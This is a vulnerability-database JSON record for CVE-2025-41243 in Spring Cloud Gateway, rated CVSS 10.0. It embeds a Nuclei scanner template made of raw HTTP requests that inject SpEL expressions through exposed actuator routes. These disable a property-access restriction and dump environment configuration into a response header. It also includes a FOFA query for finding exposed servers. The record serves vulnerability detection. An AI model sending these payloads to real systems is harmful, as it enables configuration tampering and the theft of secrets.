{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-41243/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-41243/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-41243/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-41243/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-41243/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-41243/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-41243"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-41243"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.03674,"kev":false,"percentile":0.89666},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-41243.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-41243\n\ninfo:\n  name: Spring Cloud Gateway Server Webflux - Broken Access Control\n  author: Redmomn\n  severity: critical\n  description: |\n    Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.\n  impact: |\n    Attackers can modify Spring Environment properties, potentially leading to configuration tampering and further compromise.\n  remediation: |\n    Secure actuator endpoints or disable gateway actuator exposure; update to latest Spring Cloud Gateway Server Webflux version.\n  reference:\n    - https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/\n    - https://xz.aliyun.com/news/19006\n    - https://spring.io/security/cve-2025-41243\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-41243\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2025-41243\n    epss-score: 0.03674\n    epss-percentile: 0.89697\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    fofa-query: '((header=\"Server: Netty@SpringBoot\" || (body=\"Whitelabel Error Page\" && body=\"There was an unexpected error\")) && body!=\"couchdb\") || title=\"SpringBootAdmin-Server\" || body=\"SpringBoot\"'\n  tags: cve,cve2025,spring-boot,injection,vuln,vkev\n\nvariables:\n  route: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /actuator/gateway/routes/{{route}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"id\": \"{{route}}\",\n          \"filters\": [\n            {\n              \"name\": \"AddResponseHeader\",\n              \"args\": {\n                \"value\": \"#{ @systemProperties['spring. cloud.gateway.restrictive-property-accessor.enabled'] = false}\",\n                \"name\": \"cmd\"\n              }\n            }\n          ],\n          \"uri\": \"http://{{interactsh-url}}\",\n          \"order\": 0\n        }\n\n      - |\n        POST /actuator/gateway/refresh HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /actuator/gateway/routes/{{route}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_1 == 201 && status_code_2 == 200 && status_code_3 == 200'\n          - 'len(body_1) == 0 && len(body_2) == 0'\n          - 'contains_all(body_3, \"AddResponseHeader\", \"route_id\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /actuator/gateway/routes/{{route}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"id\": \"{{route}}\",\n          \"filters\": [\n            {\n              \"name\": \"AddResponseHeader\",\n              \"args\": {\n                \"value\": \"#{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey+'='+#this.getValue.toString}] }\",\n                \"name\": \"cmd\"\n              }\n            }\n          ],\n          \"uri\": \"http://{{interactsh-url}}\",\n          \"order\": 0\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'len(body) == 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /actuator/gateway/refresh HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(body) == 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /actuator/gateway/routes/{{route}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"spring.cloud.gateway\",\"RouteDefinitionRouteLocator\")'\n        condition: and\n# digest: 4a0a0047304502207ac730f16ed7dc6db86a53adb1f963249c819b70c75028c5edc5806344fcded8022100c59b8d36340cbbe0192ad0a3897442df92ab13800815390b6a35e7074021fa81:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-41243"}